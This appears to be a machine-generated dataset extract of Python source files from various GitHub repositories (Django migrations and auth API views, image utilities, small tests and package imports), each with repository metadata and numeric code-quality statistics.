| 14.5 | 28 | 0.793103 | 3 | 29 | 7.333333 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.137931 | 29 | 1 | 29 | 29 | 0.88 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
39393793b2eafb2d08a2bee5095d95946bcad88f | 31 | py | Python | models/__init__.py | StephenTerror/TSSCapsNet | edc01b85987da641f4797c1bf60355bc78a6d51f | [
"Apache-2.0"
] | 1 | 2021-03-21T12:37:38.000Z | 2021-03-21T12:37:38.000Z | models/__init__.py | StephenTerror/TSSCapsNet | edc01b85987da641f4797c1bf60355bc78a6d51f | [
"Apache-2.0"
] | null | null | null | models/__init__.py | StephenTerror/TSSCapsNet | edc01b85987da641f4797c1bf60355bc78a6d51f | [
"Apache-2.0"
] | null | null | null | from models.model_zoo import *
| 15.5 | 30 | 0.806452 | 5 | 31 | 4.8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.129032 | 31 | 1 | 31 | 31 | 0.888889 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
393e655ee87ab592a9155b2f92d99ffe276dd68d | 40,932 | py | Python | IntOpt/NeurIPSIntopt-main/Interior/intopt_energy_mlp.py | Patyrn/Divide-and-Learn | ff03689c7ab6a7155ebd019babce8f79d0757a53 | [
"MIT"
] | 7 | 2020-11-06T01:29:48.000Z | 2022-01-02T12:49:40.000Z | IntOpt/NeurIPSIntopt-main/Interior/intopt_energy_mlp.py | Patyrn/Divide-and-Learn | ff03689c7ab6a7155ebd019babce8f79d0757a53 | [
"MIT"
] | 2 | 2021-01-19T16:59:04.000Z | 2021-01-25T10:17:46.000Z | IntOpt/NeurIPSIntopt-main/Interior/intopt_energy_mlp.py | Patyrn/Divide-and-Learn | ff03689c7ab6a7155ebd019babce8f79d0757a53 | [
"MIT"
] | 5 | 2021-07-13T04:47:13.000Z | 2022-01-17T14:05:06.000Z | import sys
sys.path.insert(0, '..')
sys.path.insert(0, '../EnergyCost')
from qpthlocal.qp import QPFunction
from qpthlocal.qp import QPSolvers
from qpthlocal.qp import make_gurobi_model
from ICON import *
from sgd_learner import *
from sklearn.metrics import mean_squared_error as mse
from collections import defaultdict... | 41.981538 | 134 | 0.569066 | 5,031 | 40,932 | 4.424568 | 0.067979 | 0.020485 | 0.010512 | 0.016846 | 0.795238 | 0.773675 | 0.745732 | 0.729111 | 0.729111 | 0.724663 | 0 | 0.008156 | 0.329009 | 40,932 | 974 | 135 | 42.024641 | 0.80233 | 0.069945 | 0 | 0.722892 | 0 | 0.004016 | 0.02143 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.038822 | false | 0.004016 | 0.033467 | 0.001339 | 0.109772 | 0.01071 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
1aa29587a4eba407d37fdbf858f15f5c5df32ab9 | 68 | py | Python | geotrek/feedback/tests/__init__.py | jmdecastel/GEOTADMIN | 15547c0a99ae4c541ca517cdbc2cf17ab5c96f87 | [
"BSD-2-Clause"
] | null | null | null | geotrek/feedback/tests/__init__.py | jmdecastel/GEOTADMIN | 15547c0a99ae4c541ca517cdbc2cf17ab5c96f87 | [
"BSD-2-Clause"
] | null | null | null | geotrek/feedback/tests/__init__.py | jmdecastel/GEOTADMIN | 15547c0a99ae4c541ca517cdbc2cf17ab5c96f87 | [
"BSD-2-Clause"
] | null | null | null | from .test_views import * # NOQA
from .test_email import * # NOQA
| 22.666667 | 33 | 0.705882 | 10 | 68 | 4.6 | 0.6 | 0.347826 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.205882 | 68 | 2 | 34 | 34 | 0.851852 | 0.132353 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
46b7f5466652a294010568c915735275e982b3b9 | 107 | py | Python | envs/hns/mujoco-worldgen/mujoco_worldgen/util/envs/__init__.py | jiayu-ch15/curriculum | 7305833b8f875c91f7598029f63fd3e543a0fd82 | [
"MIT"
] | 424 | 2019-09-17T15:50:41.000Z | 2022-03-26T07:10:21.000Z | envs/hns/mujoco-worldgen/mujoco_worldgen/util/envs/__init__.py | jiayu-ch15/curriculum | 7305833b8f875c91f7598029f63fd3e543a0fd82 | [
"MIT"
] | 7 | 2019-09-18T08:54:58.000Z | 2020-08-28T15:12:45.000Z | envs/hns/mujoco-worldgen/mujoco_worldgen/util/envs/__init__.py | jiayu-ch15/curriculum | 7305833b8f875c91f7598029f63fd3e543a0fd82 | [
"MIT"
] | 81 | 2019-09-18T00:14:25.000Z | 2022-03-30T18:25:08.000Z | from .env_viewer import EnvViewer
from .examine_env import examine_env
from .flexible_load import load_env
| 26.75 | 36 | 0.859813 | 17 | 107 | 5.117647 | 0.470588 | 0.229885 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.11215 | 107 | 3 | 37 | 35.666667 | 0.915789 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
46bf10d65b2898b4623a80c0d43fb1265448ebae | 10,711 | py | Python | src/iceberg_penguins/search/data_processing/m_im_util.py | iceberg-project/Penguins | 80297bc812e2a3811cbcfd1025e81072631b1c5c | [
"MIT"
] | 3 | 2018-04-02T19:59:06.000Z | 2019-02-15T16:42:13.000Z | src/iceberg_penguins/search/data_processing/m_im_util.py | iceberg-project/Penguins | 80297bc812e2a3811cbcfd1025e81072631b1c5c | [
"MIT"
] | 15 | 2018-09-12T19:18:08.000Z | 2020-08-06T21:59:56.000Z | src/iceberg_penguins/search/data_processing/m_im_util.py | iceberg-project/Penguins | 80297bc812e2a3811cbcfd1025e81072631b1c5c | [
"MIT"
] | 2 | 2019-03-06T06:18:14.000Z | 2019-05-06T16:18:06.000Z | """
Utility scripts for images
Author: Hieu Le
License: MIT
Copyright: 2018-2019
"""
import os
import numpy as np
from PIL import Image
from scipy import misc
#AT this point, I don't even know what is this file about. junk codes assembly.
def list_to_file(f,list):
file = open(f,"w")
for i in list:
file.... | 37.98227 | 128 | 0.559892 | 1,970 | 10,711 | 3.024873 | 0.077157 | 0.119483 | 0.040275 | 0.067125 | 0.829334 | 0.815909 | 0.795603 | 0.769424 | 0.758181 | 0.732841 | 0 | 0.038304 | 0.200542 | 10,711 | 281 | 129 | 38.117438 | 0.657597 | 0.041639 | 0 | 0.579208 | 0 | 0 | 0.026547 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.069307 | false | 0 | 0.019802 | 0.00495 | 0.158416 | 0.004951 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
200a07a8f6c323cf28ccdef7bc5e7ac20a331280 | 206 | py | Python | src/onegov/winterthur/forms/__init__.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/winterthur/forms/__init__.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | src/onegov/winterthur/forms/__init__.py | politbuero-kampagnen/onegov-cloud | 20148bf321b71f617b64376fe7249b2b9b9c4aa9 | [
"MIT"
] | null | null | null | from onegov.winterthur.forms.mission_report import MissionReportForm
from onegov.winterthur.forms.mission_report import MissionReportVehicleForm
__all__ = ('MissionReportForm', 'MissionReportVehicleForm')
| 41.2 | 75 | 0.868932 | 19 | 206 | 9.105263 | 0.526316 | 0.115607 | 0.231214 | 0.289017 | 0.508671 | 0.508671 | 0.508671 | 0 | 0 | 0 | 0 | 0 | 0.063107 | 206 | 4 | 76 | 51.5 | 0.896373 | 0 | 0 | 0 | 0 | 0 | 0.199029 | 0.116505 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.666667 | 0 | 0.666667 | 0 | 1 | 0 | 0 | null | 0 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
646f4de2404f5c182fc0c6f326f3e3a2142d6fe1 | 75 | py | Python | write_all_proofs.py | dwhalen/holophrasm | 0d971428f9879ad3d6c0a781f1a021cff73fb1ce | [
"MIT"
] | 33 | 2016-09-23T15:05:24.000Z | 2021-08-30T11:13:35.000Z | write_all_proofs.py | dwhalen/holophrasm | 0d971428f9879ad3d6c0a781f1a021cff73fb1ce | [
"MIT"
] | 4 | 2016-12-14T03:41:55.000Z | 2020-05-27T20:27:55.000Z | write_all_proofs.py | david-a-wheeler/holophrasm | aea14ea846c7c8980219216859868cc6d2c45422 | [
"MIT"
] | 12 | 2016-08-20T10:40:21.000Z | 2022-01-03T09:47:01.000Z | import write_proof
write_proof.reset()
write_proof.write_all_known_proofs() | 25 | 36 | 0.88 | 12 | 75 | 5 | 0.583333 | 0.5 | 0.5 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.04 | 75 | 3 | 36 | 25 | 0.833333 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.333333 | 0 | 0.333333 | 0 | 1 | 0 | 0 | null | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
648750adbc05c90a3008835050a97537f6588346 | 45 | py | Python | packages/pyright-internal/src/tests/samples/package1/psyche/pysche.py | lipovsek/pytea | c536515a5e5947fac8871784323ba7eddc58956d | [
"MIT"
] | null | null | null | packages/pyright-internal/src/tests/samples/package1/psyche/pysche.py | lipovsek/pytea | c536515a5e5947fac8871784323ba7eddc58956d | [
"MIT"
] | null | null | null | packages/pyright-internal/src/tests/samples/package1/psyche/pysche.py | lipovsek/pytea | c536515a5e5947fac8871784323ba7eddc58956d | [
"MIT"
] | null | null | null |
def psyche1() -> str:
return "3"
| 11.25 | 22 | 0.444444 | 5 | 45 | 4 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.074074 | 0.4 | 45 | 4 | 23 | 11.25 | 0.666667 | 0 | 0 | 0 | 0 | 0 | 0.02381 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.5 | true | 0 | 0 | 0.5 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 1 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 6 |
b3afb92ad3d5cf4c9be12206dd9766b29950b95f | 1,549 | py | Python | tests/test_urls.py | eyllanesc/mkdocs-static-i18n | 283f9a080603904a581370bdae01d517977c9b51 | [
"MIT"
] | 63 | 2021-02-08T14:04:02.000Z | 2022-03-27T09:33:04.000Z | tests/test_urls.py | eyllanesc/mkdocs-static-i18n | 283f9a080603904a581370bdae01d517977c9b51 | [
"MIT"
] | 84 | 2021-02-08T13:30:14.000Z | 2022-03-31T07:13:05.000Z | tests/test_urls.py | eyllanesc/mkdocs-static-i18n | 283f9a080603904a581370bdae01d517977c9b51 | [
"MIT"
] | 16 | 2021-03-08T02:04:38.000Z | 2022-03-18T03:45:40.000Z | from mkdocs.structure.files import get_files
def test_urls_no_use_directory_urls(config_base, config_plugin):
config_base["use_directory_urls"] = False
files = get_files(config_base)
#
config_plugin["use_directory_urls"] = False
i18n_plugin = config_plugin["plugins"]["i18n"]
#
i18n_plugin.... | 36.880952 | 82 | 0.692705 | 209 | 1,549 | 4.799043 | 0.181818 | 0.143569 | 0.095713 | 0.087737 | 0.891326 | 0.891326 | 0.891326 | 0.891326 | 0.891326 | 0.891326 | 0 | 0.022329 | 0.190445 | 1,549 | 41 | 83 | 37.780488 | 0.777512 | 0 | 0 | 0.645161 | 0 | 0 | 0.096565 | 0 | 0 | 0 | 0 | 0 | 0.064516 | 1 | 0.064516 | false | 0 | 0.032258 | 0 | 0.096774 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b3e26905c8655f7860350646270ee6b0067c28cc | 2,306 | py | Python | test_env_flag.py | paulmelnikow/env-flag | be074534896af557f54caef4f8d1cf64228f3aee | [
"BSD-2-Clause"
] | null | null | null | test_env_flag.py | paulmelnikow/env-flag | be074534896af557f54caef4f8d1cf64228f3aee | [
"BSD-2-Clause"
] | 7 | 2018-11-26T10:21:18.000Z | 2019-04-03T10:37:15.000Z | test_env_flag.py | paulmelnikow/env-flag-fork | be074534896af557f54caef4f8d1cf64228f3aee | [
"BSD-2-Clause"
] | null | null | null | import os
import unittest
import uuid
from env_flag import env_flag
class EnvironGetBoolTest(unittest.TestCase):
def test_that_env_flag_for_unset_returns_false(self):
env_var = str(uuid.uuid4())
self.assertIsNone(os.environ.get(env_var))
self.assertFalse(env_flag(env_var))
def test_tha... | 37.803279 | 72 | 0.67693 | 335 | 2,306 | 4.298507 | 0.119403 | 0.154167 | 0.076389 | 0.099306 | 0.8875 | 0.8875 | 0.872917 | 0.847917 | 0.824306 | 0.824306 | 0 | 0.009777 | 0.201648 | 2,306 | 60 | 73 | 38.433333 | 0.772406 | 0 | 0 | 0.568627 | 0 | 0 | 0.013877 | 0 | 0 | 0 | 0 | 0 | 0.392157 | 1 | 0.176471 | false | 0 | 0.078431 | 0 | 0.27451 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b3f4f51bfed517a2b9e0fc7d18b1bbd464343e24 | 39 | py | Python | 14_libraries_and_modules/chapter_14.py | fmfrancisco/chapters | 34acc93e7a41490fe3c856e16927e50fdc370dee | [
"MIT"
] | null | null | null | 14_libraries_and_modules/chapter_14.py | fmfrancisco/chapters | 34acc93e7a41490fe3c856e16927e50fdc370dee | [
"MIT"
] | null | null | null | 14_libraries_and_modules/chapter_14.py | fmfrancisco/chapters | 34acc93e7a41490fe3c856e16927e50fdc370dee | [
"MIT"
] | null | null | null | import my_functions
my_functions.foo() | 13 | 19 | 0.846154 | 6 | 39 | 5.166667 | 0.666667 | 0.709677 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.076923 | 39 | 3 | 20 | 13 | 0.861111 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0 | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 6 |
b6022010588b3820c23e8392cdf76aa7442c0b36 | 851 | py | Python | testimgui.py | geehalel/pyvk | 56737ee4547b3f12bf941dcda74305b739d09cbb | [
"MIT"
] | 1 | 2022-01-09T19:02:00.000Z | 2022-01-09T19:02:00.000Z | testimgui.py | geehalel/pyvk | 56737ee4547b3f12bf941dcda74305b739d09cbb | [
"MIT"
] | null | null | null | testimgui.py | geehalel/pyvk | 56737ee4547b3f12bf941dcda74305b739d09cbb | [
"MIT"
] | null | null | null | import imgui
imgui.create_context()
io=imgui.get_io()
texWidth, texHeight, fontData = io.fonts.get_tex_data_as_rgba32()
io.display_size = imgui.Vec2(100,200)
imgui.new_frame()
imgui.render()
imgui.new_frame()
imgui.begin('Vulkan Example', None, imgui.WINDOW_ALWAYS_AUTO_RESIZE | imgui.WINDOW_NO_RESIZE| imgui.WINDOW_N... | 25.787879 | 115 | 0.768508 | 128 | 851 | 4.84375 | 0.351563 | 0.106452 | 0.083871 | 0.116129 | 0.716129 | 0.716129 | 0.716129 | 0.716129 | 0.716129 | 0.716129 | 0 | 0.013854 | 0.06698 | 851 | 32 | 116 | 26.59375 | 0.767003 | 0.009401 | 0 | 0.740741 | 0 | 0 | 0.083234 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.037037 | 0 | 0.037037 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
b60287dba0f3cf28c2ac28036e0f2be790cbf1ba | 107 | py | Python | src/pagnn/training/dcn_old/__init__.py | ostrokach/protein-adjacency-net | fd3ad0b9034eb61b0187752c1f38f7eed1a8f1dc | [
"MIT"
] | 1 | 2022-01-16T12:06:13.000Z | 2022-01-16T12:06:13.000Z | src/pagnn/training/dcn_old/__init__.py | ostrokach/protein-adjacency-net | fd3ad0b9034eb61b0187752c1f38f7eed1a8f1dc | [
"MIT"
] | null | null | null | src/pagnn/training/dcn_old/__init__.py | ostrokach/protein-adjacency-net | fd3ad0b9034eb61b0187752c1f38f7eed1a8f1dc | [
"MIT"
] | null | null | null | from .args import *
from .stats import *
from .utils import *
from .generators import *
from . import main
| 17.833333 | 25 | 0.728972 | 15 | 107 | 5.2 | 0.466667 | 0.512821 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.186916 | 107 | 5 | 26 | 21.4 | 0.896552 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
374e6497dc978569c6363b78e55b35f4198cbcfd | 2,683 | py | Python | isiscb/isisdata/migrations/0049_auto_20160901_1408.py | bgopalachary/IsisCB | c28e3f504eea60ebeff38318d8bb2071abb28ebb | [
"MIT"
] | 4 | 2016-01-25T20:35:33.000Z | 2020-04-07T15:39:52.000Z | isiscb/isisdata/migrations/0049_auto_20160901_1408.py | bgopalachary/IsisCB | c28e3f504eea60ebeff38318d8bb2071abb28ebb | [
"MIT"
] | 41 | 2015-08-19T17:34:41.000Z | 2022-03-11T23:19:01.000Z | isiscb/isisdata/migrations/0049_auto_20160901_1408.py | bgopalachary/IsisCB | c28e3f504eea60ebeff38318d8bb2071abb28ebb | [
"MIT"
] | 2 | 2020-11-25T20:18:18.000Z | 2021-06-24T15:15:41.000Z | # -*- coding: utf-8 -*-
from __future__ import unicode_literals
from django.db import models, migrations
class Migration(migrations.Migration):
dependencies = [
('isisdata', '0048_citationcollection_name'),
]
operations = [
migrations.AlterField(
model_name='authority',
... | 76.657143 | 627 | 0.677972 | 363 | 2,683 | 4.955923 | 0.225895 | 0.166759 | 0.040022 | 0.06448 | 0.83602 | 0.817676 | 0.817676 | 0.817676 | 0.817676 | 0.817676 | 0 | 0.025501 | 0.181513 | 2,683 | 34 | 628 | 78.911765 | 0.793716 | 0.007827 | 0 | 0.5 | 0 | 0.107143 | 0.539474 | 0.034211 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.071429 | 0 | 0.178571 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
3755f0af6e1ac846d5a6b76e9670f96ab376bb9b | 12,365 | py | Python | lizard_auth_server/views_api.py | lisannewapstra/lizard-auth-server | 3824edfaedd01caff5eb84bbcb9557ccfec2371a | [
"MIT",
"BSD-3-Clause"
] | 1 | 2019-02-21T02:12:04.000Z | 2019-02-21T02:12:04.000Z | lizard_auth_server/views_api.py | lisannewapstra/lizard-auth-server | 3824edfaedd01caff5eb84bbcb9557ccfec2371a | [
"MIT",
"BSD-3-Clause"
] | 88 | 2015-04-23T15:37:17.000Z | 2021-02-18T15:28:32.000Z | lizard_auth_server/views_api.py | lisannewapstra/lizard-auth-server | 3824edfaedd01caff5eb84bbcb9557ccfec2371a | [
"MIT",
"BSD-3-Clause"
] | 2 | 2018-04-24T08:48:35.000Z | 2021-02-17T10:18:26.000Z | # -*- coding: utf-8 -*-
from django.contrib.auth import authenticate as django_authenticate
from django.contrib.auth.models import User
from django.http import HttpResponse
from django.http import HttpResponseBadRequest
from django.shortcuts import get_object_or_404
from django.utils.decorators import method_decorator
... | 34.157459 | 88 | 0.619895 | 1,335 | 12,365 | 5.61573 | 0.12809 | 0.039616 | 0.061224 | 0.042017 | 0.778578 | 0.771642 | 0.75897 | 0.736161 | 0.727624 | 0.712685 | 0 | 0.001463 | 0.28144 | 12,365 | 361 | 89 | 34.252078 | 0.842319 | 0.055641 | 0 | 0.665306 | 0 | 0 | 0.102444 | 0.002563 | 0 | 0 | 0 | 0 | 0 | 1 | 0.146939 | false | 0.073469 | 0.069388 | 0.081633 | 0.485714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 6 |
37832b3e73a3242cb9e73840ccdaa64e7234eb27 | 37 | py | Python | simclr/modules/transformations/__init__.py | martinmamql/SimCLR-2 | 60fb488a1914ec97af2bd01c85a9ec64e804db1e | [
"MIT"
] | 496 | 2020-03-10T11:29:19.000Z | 2022-03-30T04:52:08.000Z | simclr/modules/transformations/__init__.py | martinmamql/SimCLR-2 | 60fb488a1914ec97af2bd01c85a9ec64e804db1e | [
"MIT"
] | 34 | 2020-03-12T15:03:02.000Z | 2022-01-10T18:46:05.000Z | simclr/modules/transformations/__init__.py | martinmamql/SimCLR-2 | 60fb488a1914ec97af2bd01c85a9ec64e804db1e | [
"MIT"
] | 125 | 2020-03-11T21:50:37.000Z | 2022-03-16T08:24:58.000Z | from .simclr import TransformsSimCLR
| 18.5 | 36 | 0.864865 | 4 | 37 | 8 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.108108 | 37 | 1 | 37 | 37 | 0.969697 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 1 | 0 | 1 | 0 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 1 | 0 | 0 | 6 |
80a88e5e9ecb5d15095f3dd23e117c386a2556aa | 30 | py | Python | UNUSED - DON'T CHECK/mySQLImportTest.py | jamesxu123/ICS3U-FSE | 7ec821dfa69856e3daa1a1bf4e86947c2b0ddeb3 | [
"MIT"
] | null | null | null | UNUSED - DON'T CHECK/mySQLImportTest.py | jamesxu123/ICS3U-FSE | 7ec821dfa69856e3daa1a1bf4e86947c2b0ddeb3 | [
"MIT"
] | 1 | 2018-06-11T14:12:00.000Z | 2018-06-11T14:12:00.000Z | UNUSED - DON'T CHECK/mySQLImportTest.py | jamesxu123/ICS3U-FSE | 7ec821dfa69856e3daa1a1bf4e86947c2b0ddeb3 | [
"MIT"
] | 1 | 2018-08-26T22:31:59.000Z | 2018-08-26T22:31:59.000Z | import mysqlTest
print('yay')
| 10 | 16 | 0.766667 | 4 | 30 | 5.75 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.1 | 30 | 2 | 17 | 15 | 0.851852 | 0 | 0 | 0 | 0 | 0 | 0.1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | true | 0 | 0.5 | 0 | 0.5 | 0.5 | 1 | 1 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 | 0 | 0 | 1 | 0 | 6 |
80cd34d4c3de75f8809daa825ae704111f692f54 | 36 | py | Python | invMLEnc_toy/loss/__init__.py | Lupin1998/inv-ML | 9f3db461911748292dff18024587538eb66d44bf | [
"MIT"
] | 1 | 2021-12-14T09:16:17.000Z | 2021-12-14T09:16:17.000Z | invMLEnc_toy/loss/__init__.py | Lupin1998/inv-ML | 9f3db461911748292dff18024587538eb66d44bf | [
"MIT"
] | null | null | null | invMLEnc_toy/loss/__init__.py | Lupin1998/inv-ML | 9f3db461911748292dff18024587538eb66d44bf | [
"MIT"
] | 2 | 2021-12-14T09:10:00.000Z | 2022-01-21T16:57:44.000Z | # Loss for AE, VAE, ML-AE, Inv-ML-AE | 36 | 36 | 0.638889 | 9 | 36 | 2.555556 | 0.666667 | 0.347826 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.166667 | 36 | 1 | 36 | 36 | 0.766667 | 0.944444 | 0 | null | 0 | null | 0 | 0 | null | 0 | 0 | 0 | null | 1 | null | true | 0 | 0 | null | null | null | 1 | 1 | 0 | null | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 6 |
03931adf4192a67a2e5bf6d1a7a219b56c9a984e | 5,893 | py | Python | src/prediction_knn.py | pedrohenriquebr/web-face-recognition | 5a1fac7ce6e4186bca33f7e0ead2de42670786e0 | [
"MIT"
] | 1 | 2020-09-14T03:46:12.000Z | 2020-09-14T03:46:12.000Z | src/prediction_knn.py | pedrohenriquebr/web-face-recognition | 5a1fac7ce6e4186bca33f7e0ead2de42670786e0 | [
"MIT"
] | 13 | 2019-01-21T22:11:33.000Z | 2019-08-18T18:47:26.000Z | src/prediction_knn.py | pedrohenriquebr/web-face-recognition | 5a1fac7ce6e4186bca33f7e0ead2de42670786e0 | [
"MIT"
] | null | null | null |
import math
from sklearn import neighbors
import os
from os import environ
import os.path
